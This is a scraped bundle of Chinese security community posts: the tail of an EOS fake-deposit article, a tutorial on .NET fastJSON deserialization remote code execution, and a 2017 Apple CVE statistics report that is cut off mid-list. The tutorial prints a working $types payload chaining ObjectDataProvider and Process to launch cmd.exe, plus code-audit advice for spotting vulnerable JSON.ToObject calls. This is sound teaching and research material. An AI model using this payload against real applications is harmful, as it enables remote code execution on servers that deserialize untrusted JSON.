<https://developers.eos.io/eosio-nodeos/docs/how-to-monitor-state-with-state-history-plugin>
官方文档对 nodeos 三种模式的描述：
<https://developers.eos.io/eosio-nodeos/docs/read-modes>
USDT 虚假转账安全⻛险分析：
<https://mp.weixin.qq.com/s/CtAKLNe0MOKDyUFaod4_hw>
以太坊代币“假充值”漏洞细节披露及修复方案：
<https://mp.weixin.qq.com/s/3cMbE6p_4qCdVLa4FNA5-A>
XRP 官方披露的假充值漏洞及相关分析：
<https://developers.ripple.com/partial-payments.html>
EOS 新型攻击手法之 hard_fail 状态攻击：<https://mp.weixin.qq.com/s/qsqqPB24fEjBgnq3Xr3xjQ>
EOS 智能合约最佳安全开发指南：
<https://github.com/slowmist/eos-smart-contract-security-best-practices>
### 致谢
EOSPark
IMEOS
jerry[@EOSlive](https://github.com/EOSlive "@EOSlive") 钱包 | 社区文章 |
作者: Ivan1ee@360云影实验室
# 0X00 前言
Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本，而在.Net领域也有一个Fastjson的库，作者官宣这是一个读写Json效率最高的的.Net
组件，使用内置方法JSON.ToJSON可以快速序列化.Net对象。让你轻松实现.Net中所有类型(对象,基本数据类型等)和Json之间的转换，fastjson是一个开源的Json.Net库，下载地址
<http://www.codeproject.com/Articles/159450/fastJSON，反序列过程中详细的性能对比如下>
从图上得出和老牌Json.Net、Stack等比起来速度和性能优势非常明显，究其原因组件的作者利用反射生成了大量的IL代码，而IL代码是托管代码，可以直接给运行库编译所以性能就此大大提升。但在某些场景下开发者使用JSON.ToObject方法序列化不安全的数据时候会造成反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
# 0X01 Fastjson序列化
使用JSON.ToJSON可以非常方便的实现.NET对象与Json数据之间的转化，ToJSON首先会得到对象名称所在的程序集全限定名，并且作为$types这个key的值，再将对象的成员属性名转化为Json数据中的Key，把对象的成员属性值转化为Json数据中的value，下面通过一个实例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
笔者为了尽量保证序列化过程不抛出异常，所以引入了
JSON.ToJSON方法的第二个参数并实例化创建JSONParameters，它的字段中有很多类型是布尔值，
和反序列化漏洞相关的字段为UseExtensions
，将它设置为true可得到类的全限定名，如果不需要序列化空值的时可将另一个字段SerializeNullValues设为false;
笔者使用JSON.ToJSON后得到序列化的Json数据
{"$types":{"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"},"$type":"1","Classname":"360","Name":"Ivan1ee","Age":18}
# 0x02 Fastjson反序列化
## 2.1、反序列化用法
反序列过程就是将Json数据转换为对象，Fastjson通过创建一个新对象的方式调用JSON.
ToObject方法实现的，ToObject有多个重载方法，当传入两个参数，第一个参数需要被序列化的数据、第二个参数设置序列化配置选项来指定JSONParameters按照指定的属性值处理，重载方法参考下图
具体代码可参考以下Demo
## 2.2、打造Poc
漏洞的触发点也是在于被序列化的Json中的$types是否可控，为此官方文档里也标注了警告。
笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下《.NET高级代码审计（第一课）
XmlSerializer反序列化漏洞》，因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性，例如指定文件名、指定启动参数，所以首先得考虑序列化ProcessStartInfo，如下代码Demo
一步步来看，开始从GetType获取当前类的实例，返回Type类型变量t3；然后通过Type.GetProperty方法找到指定为FileName的公共属性并赋值给PropertyInfo类型的变量propertyName；再使用PropertyInfo.SetValue方法设置对象的指定属性值“cmd.exe“，同理为Arguments属性指定值。下一步再来序列化
Process类，并调用StartInfo启动程序，Demo如下
然后需要对其做减法，去掉无关的System.RuntimeType、System.IntPtr数据，最终得到反序列化Payload
{""$types"":{""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"":""1"",""System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"":""3"",""System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"":""5""},""$type"":""1"",""ObjectInstance"":{""$type"":""3"",""StartInfo"":{""$type"":""5"",""Verb"":"""",""Arguments"":""/c calc.exe"",""CreateNoWindow"":false,""RedirectStandardInput"":false,""RedirectStandardOutput"":false,""RedirectStandardError"":false,""UseShellExecute"":true,""UserName"":"""",""Domain"":"""",""LoadUserProfile"":false,""FileName"":""cmd.exe"",""WorkingDirectory"":"""",""ErrorDialog"":false,""WindowStyle"":""Normal""},""EnableRaisingEvents"":false},""MethodName"":""Start"",""IsAsynchronous"":false,""IsInitialLoadEnabled"":true}
FastJson定义的JSON类定义了多个ToObject重载方法，对于反序列化漏洞无需关心重载的方法参数是一个还是多个，它们都可以触发漏洞
笔者通过下面的Demo ， JSON.ToObject(payload)反序列化成功弹出计算器。
## 0x03 代码审计视角
从代码审计的角度很容易找到漏洞的污染点，通过前面几个小节的知识能发现需要满足一个关键条件JSON.ToObject传入String或者Object就可以被反序列化，例如以下JSONSerializer类
攻击者控制传入字符串参数json便可轻松实现反序列化漏洞攻击。Github上也存在大量的不安全案例代码，如下
v
# 0x04 案例复盘
最后再通过下面案例来复盘整个过程，全程展示在VS里调试里通过反序列化漏洞弹出计算器。
1. 输入<http://localhost:5651/Default> Post加载value值
1. 通过ToObject 反序列化 ，并弹出计算器
# 0x05 总结
Fastjson凭借速度和性能上的优势占得一席之地，但随着newtonsoft.Json的主流化，性能上已经逐渐赶超了Fastjson，也使得Fastjson越来越小众化，对于攻击者来说，利用成本很低，在代码审计配合的情况下这种安全问题越发的严重起来，若提交恶意的污染数据，便可水到渠成的反序列化成功拿下目标，最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/> ， | 社区文章 |
# 苹果平台2017年漏洞情况统计报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：0x736165746F7250@360 Information Security Dept.
## 一、数据与时间
数据来源: https://support.apple.com/en-us/HT201222
统计时间: 2017-12-27, 18:43:59
## 二、CVE数量
2017 苹果 CVE 总数: 739
2016 苹果 CVE 总数: 608
## 三、漏洞模块
2017 产生漏洞的模块个数: 169
2016 产生漏洞的模块个数: 174
## 四、漏洞数 Top 20 的模块信息如下：
### 01: WebKit, 2017: 136, 2016: 103
CVE-2017-7156: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7157: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13856: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13870: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13866: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7160: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13783: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13784: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13785: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13788: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13791: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13792: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13793: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13794: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13795: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13796: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13797: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13798: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13802: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-13803: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7081: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7087: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7091: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7092: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7093: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7094: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7095: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7096: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7098: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7099: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7100: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7102: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7104: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7107: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7111: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7117: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7120: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7089: Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-7090: Cookies belonging to one origin may be sent to another origin
CVE-2017-7106: Visiting a malicious website may lead to address bar spoofing
CVE-2017-7109: Processing maliciously crafted web content may lead to a cross
site scripting attack
CVE-2017-7144: A malicious website may be able to track users in Safari
private browsing mode
CVE-2017-7006: A malicious website may exfiltrate data cross-origin
CVE-2017-7018: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7020: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7030: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7034: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7037: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7039: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7040: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7041: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7042: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7043: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7046: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7048: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7052: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7055: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7056: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7061: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7038: Processing maliciously crafted web content with DOMParser may
lead to cross site scripting
CVE-2017-7059: Processing maliciously crafted web content with DOMParser may
lead to cross site scripting
CVE-2017-7049: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7064: An application may be able to read restricted memory
CVE-2017-7011: Visiting a malicious website may lead to address bar spoofing
CVE-2017-2504: Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2505: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2515: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2521: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2525: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2530: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2531: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-6980: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-6984: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2536: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2549: Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2496: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2506: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2514: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2526: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2538: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2539: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2544: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2547: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2508: Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2510: Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2528: Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2463: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2479: Processing maliciously crafted web content may exfiltrate data
cross-origin
CVE-2017-2480: Processing maliciously crafted web content may exfiltrate data
cross-origin
CVE-2017-2493: Processing maliciously crafted web content may exfiltrate data
cross-origin
CVE-2017-2386: Processing maliciously crafted web content may exfiltrate data
cross-origin
CVE-2017-2394: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2396: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2016-9642: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2395: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2454: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2455: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2459: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2460: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2464: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2465: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2466: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2468: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2469: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2470: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2476: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2481: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2415: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2016-9643: Processing maliciously crafted web content may lead to high
memory consumption
CVE-2017-2367: A malicious website may exfiltrate data cross-origin
CVE-2017-2445: Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2446: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2447: Visiting a maliciously crafted website may compromise user
information
CVE-2017-2475: Processing maliciously crafted web content may lead to
universal cross site scripting
CVE-2017-2471: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2378: Dragging and dropping a maliciously crafted link may lead to
bookmark spoofing or arbitrary code execution
CVE-2017-2486: Visiting a malicious website may lead to address bar spoofing
CVE-2017-2457: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2419: Processing maliciously crafted web content may lead to
unexpectedly unenforced Content Security Policy
CVE-2017-2424: Processing maliciously crafted web content may result in the
disclosure of process memory
CVE-2017-2433: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2364: Processing maliciously crafted web content may exfiltrate data
cross-origin
CVE-2017-2392: An application may be able to execute arbitrary code
CVE-2017-7071: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2354: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2355: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2356: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2366: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2350: Processing maliciously crafted web content may exfiltrate data
cross-origin
CVE-2017-2362: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2373: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2369: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-2363: Processing maliciously crafted web content may exfiltrate data
cross-origin
CVE-2017-2365: Processing maliciously crafted web content may exfiltrate data
cross-origin
CVE-2017-2371: A malicious website can open popups
CVE-2016-7589: Processing maliciously crafted web content may lead to
arbitrary code execution
### 02: tcpdump, 131
CVE-2017-11108: Multiple issues in tcpdump
CVE-2017-11541: Multiple issues in tcpdump
CVE-2017-11542: Multiple issues in tcpdump
CVE-2017-11543: Multiple issues in tcpdump
CVE-2017-12893: Multiple issues in tcpdump
CVE-2017-12894: Multiple issues in tcpdump
CVE-2017-12895: Multiple issues in tcpdump
CVE-2017-12896: Multiple issues in tcpdump
CVE-2017-12897: Multiple issues in tcpdump
CVE-2017-12898: Multiple issues in tcpdump
CVE-2017-12899: Multiple issues in tcpdump
CVE-2017-12900: Multiple issues in tcpdump
CVE-2017-12901: Multiple issues in tcpdump
CVE-2017-12902: Multiple issues in tcpdump
CVE-2017-12985: Multiple issues in tcpdump
CVE-2017-12986: Multiple issues in tcpdump
CVE-2017-12987: Multiple issues in tcpdump
CVE-2017-12988: Multiple issues in tcpdump
CVE-2017-12989: Multiple issues in tcpdump
CVE-2017-12990: Multiple issues in tcpdump
CVE-2017-12991: Multiple issues in tcpdump
CVE-2017-12992: Multiple issues in tcpdump
CVE-2017-12993: Multiple issues in tcpdump
CVE-2017-12994: Multiple issues in tcpdump
CVE-2017-12995: Multiple issues in tcpdump
CVE-2017-12996: Multiple issues in tcpdump
CVE-2017-12997: Multiple issues in tcpdump
CVE-2017-12998: Multiple issues in tcpdump
CVE-2017-12999: Multiple issues in tcpdump
CVE-2017-13000: Multiple issues in tcpdump
CVE-2017-13001: Multiple issues in tcpdump
CVE-2017-13002: Multiple issues in tcpdump
CVE-2017-13003: Multiple issues in tcpdump
CVE-2017-13004: Multiple issues in tcpdump
CVE-2017-13005: Multiple issues in tcpdump
CVE-2017-13006: Multiple issues in tcpdump
CVE-2017-13007: Multiple issues in tcpdump
CVE-2017-13008: Multiple issues in tcpdump
CVE-2017-13009: Multiple issues in tcpdump
CVE-2017-13010: Multiple issues in tcpdump
CVE-2017-13011: Multiple issues in tcpdump
CVE-2017-13012: Multiple issues in tcpdump
CVE-2017-13013: Multiple issues in tcpdump
CVE-2017-13014: Multiple issues in tcpdump
CVE-2017-13015: Multiple issues in tcpdump
CVE-2017-13016: Multiple issues in tcpdump
CVE-2017-13017: Multiple issues in tcpdump
CVE-2017-13018: Multiple issues in tcpdump
CVE-2017-13019: Multiple issues in tcpdump
CVE-2017-13020: Multiple issues in tcpdump
CVE-2017-13021: Multiple issues in tcpdump
CVE-2017-13022: Multiple issues in tcpdump
CVE-2017-13023: Multiple issues in tcpdump
CVE-2017-13024: Multiple issues in tcpdump
CVE-2017-13025: Multiple issues in tcpdump
CVE-2017-13026: Multiple issues in tcpdump
CVE-2017-13027: Multiple issues in tcpdump
CVE-2017-13028: Multiple issues in tcpdump
CVE-2017-13029: Multiple issues in tcpdump
CVE-2017-13030: Multiple issues in tcpdump
CVE-2017-13031: Multiple issues in tcpdump
CVE-2017-13032: Multiple issues in tcpdump
CVE-2017-13033: Multiple issues in tcpdump
CVE-2017-13034: Multiple issues in tcpdump
CVE-2017-13035: Multiple issues in tcpdump
CVE-2017-13036: Multiple issues in tcpdump
CVE-2017-13037: Multiple issues in tcpdump
CVE-2017-13038: Multiple issues in tcpdump
CVE-2017-13039: Multiple issues in tcpdump
CVE-2017-13040: Multiple issues in tcpdump
CVE-2017-13041: Multiple issues in tcpdump
CVE-2017-13042: Multiple issues in tcpdump
CVE-2017-13043: Multiple issues in tcpdump
CVE-2017-13044: Multiple issues in tcpdump
CVE-2017-13045: Multiple issues in tcpdump
CVE-2017-13046: Multiple issues in tcpdump
CVE-2017-13047: Multiple issues in tcpdump
CVE-2017-13048: Multiple issues in tcpdump
CVE-2017-13049: Multiple issues in tcpdump
CVE-2017-13050: Multiple issues in tcpdump
CVE-2017-13051: Multiple issues in tcpdump
CVE-2017-13052: Multiple issues in tcpdump
CVE-2017-13053: Multiple issues in tcpdump
CVE-2017-13054: Multiple issues in tcpdump
CVE-2017-13055: Multiple issues in tcpdump
CVE-2017-13687: Multiple issues in tcpdump
CVE-2017-13688: Multiple issues in tcpdump
CVE-2017-13689: Multiple issues in tcpdump
CVE-2017-13690: Multiple issues in tcpdump
CVE-2017-13725: Multiple issues in tcpdump
CVE-2016-7922: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7923: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7924: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7925: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7926: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7927: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7928: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7929: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7930: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7931: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7932: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7933: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7934: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7935: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7936: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7937: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7938: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7939: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7940: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7973: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7974: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7975: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7983: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7984: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7985: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7986: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7992: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-7993: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-8574: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2016-8575: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5202: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5203: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5204: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5205: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5341: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5342: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5482: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5483: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5484: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5485: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
CVE-2017-5486: An attacker in a privileged network position may be able to
execute arbitrary code with user assistance
### 03: Kernel, 2017: 64, 2016: 46
CVE-2017-13862: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-13867: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-13833: An application may be able to read restricted memory
CVE-2017-13876: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-13855: An application may be able to read restricted memory
CVE-2017-13865: An application may be able to read restricted memory
CVE-2017-13868: An application may be able to read restricted memory
CVE-2017-13869: An application may be able to read restricted memory
CVE-2017-7154: A local user may be able to cause unexpected system termination
or read kernel memory
CVE-2017-13799: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-13852: A malicious application may be able to learn information about
the presence and operation of other applications on the device.
CVE-2017-13810: A local user may be able to leak sensitive user information
CVE-2017-13817: A local user may be able to read kernel memory
CVE-2017-13818: An application may be able to read restricted memory
CVE-2017-13836: An application may be able to read restricted memory
CVE-2017-13841: An application may be able to read restricted memory
CVE-2017-13840: An application may be able to read restricted memory
CVE-2017-13842: An application may be able to read restricted memory
CVE-2017-13782: An application may be able to read restricted memory
CVE-2017-13843: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-13834: Processing a malformed mach binary may lead to arbitrary code
execution
CVE-2017-7114: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-13854: An application may be able to execute arbitrary code with
system privileges
CVE-2017-13873: A malicious application may be able to learn information about
the presence and operation of other applications on the device.
CVE-2017-7022: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7024: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7026: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7023: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-7025: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-7027: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-7069: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-7028: An application may be able to read restricted memory
CVE-2017-7029: An application may be able to read restricted memory
CVE-2017-7067: An application may be able to read restricted memory
CVE-2017-2501: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2507: An application may be able to read restricted memory
CVE-2017-6987: An application may be able to read restricted memory
CVE-2017-2494: An application may be able to gain kernel privileges
CVE-2017-2509: An application may be able to read restricted memory
CVE-2017-2516: An application may be able to read restricted memory
CVE-2017-2546: An application may be able to gain kernel privileges
CVE-2017-2401: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2440: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2456: A malicious application may be able to execute arbitrary code
with root privileges
CVE-2017-2472: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2473: A malicious application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2474: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2478: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2482: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2483: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2490: An application may be able to execute arbitrary code with
elevated privileges
CVE-2017-2398: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2410: A malicious application may be able to execute arbitrary code
with kernel privileges
CVE-2017-7070: The screen may unexpectedly remain unlocked when the lid is
closed
CVE-2017-2370: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2360: An application may be able to execute arbitrary code with
kernel privileges
CVE-2016-7606: An application may be able to execute arbitrary code with
kernel privileges
CVE-2016-7612: An application may be able to execute arbitrary code with
kernel privileges
CVE-2016-7607: An application may be able to read kernel memory
CVE-2016-7615: A local user may be able to cause a system denial of service
CVE-2016-7621: A local user may be able to cause an unexpected system
termination or arbitrary code execution in the kernel
CVE-2016-7637: A local user may be able to gain root privileges
CVE-2016-7644: A local application with system privileges may be able to
execute arbitrary code with kernel privileges
CVE-2016-7647: An application may be able to cause a denial of service
### 04: iTunes, 18
CVE-2017-7053: An application may be able to execute arbitrary code with
system privileges
CVE-2013-7443: Multiple issues in SQLite
CVE-2015-3414: Multiple issues in SQLite
CVE-2015-3415: Multiple issues in SQLite
CVE-2015-3416: Multiple issues in SQLite
CVE-2015-3717: Multiple issues in SQLite
CVE-2015-6607: Multiple issues in SQLite
CVE-2016-6153: Multiple issues in SQLite
CVE-2009-3270: Multiple issues in expat
CVE-2009-3560: Multiple issues in expat
CVE-2009-3720: Multiple issues in expat
CVE-2012-1147: Multiple issues in expat
CVE-2012-1148: Multiple issues in expat
CVE-2012-6702: Multiple issues in expat
CVE-2015-1283: Multiple issues in expat
CVE-2016-0718: Multiple issues in expat
CVE-2016-4472: Multiple issues in expat
CVE-2016-5300: Multiple issues in expat
### 05: Intel Graphics Driver, 2017: 14, 2016: 9
CVE-2017-13883: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-7163: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-7155: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-13878: A local user may be able to cause unexpected system
termination or read kernel memory
CVE-2017-13875: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7014: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7017: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7035: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7044: An application may be able to execute arbitrary code with
system privileges
CVE-2017-7036: An application may be able to read restricted memory
CVE-2017-7045: An application may be able to read restricted memory
CVE-2017-2503: An application may be able to gain kernel privileges
CVE-2017-2443: An application may be able to execute arbitrary code with
kernel privileges
CVE-2017-2489: An application may be able to disclose kernel memory
### 06: SQLite, 14
CVE-2017-7127: An application may be able to execute arbitrary code with
system privileges
CVE-2017-10989: Multiple issues in SQLite
CVE-2017-7128: Multiple issues in SQLite
CVE-2017-7129: Multiple issues in SQLite
CVE-2017-7130: Multiple issues in SQLite
CVE-2017-2513: A maliciously crafted SQL query may lead to arbitrary code
execution
CVE-2017-2518: A maliciously crafted SQL query may lead to arbitrary code
execution
CVE-2017-2520: A maliciously crafted SQL query may lead to arbitrary code
execution
CVE-2017-2519: A maliciously crafted SQL query may lead to arbitrary code
execution
CVE-2017-6983: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-6991: Processing maliciously crafted web content may lead to
arbitrary code execution
CVE-2017-7000: Processing maliciously crafted web content may lead to
arbitrary code execution
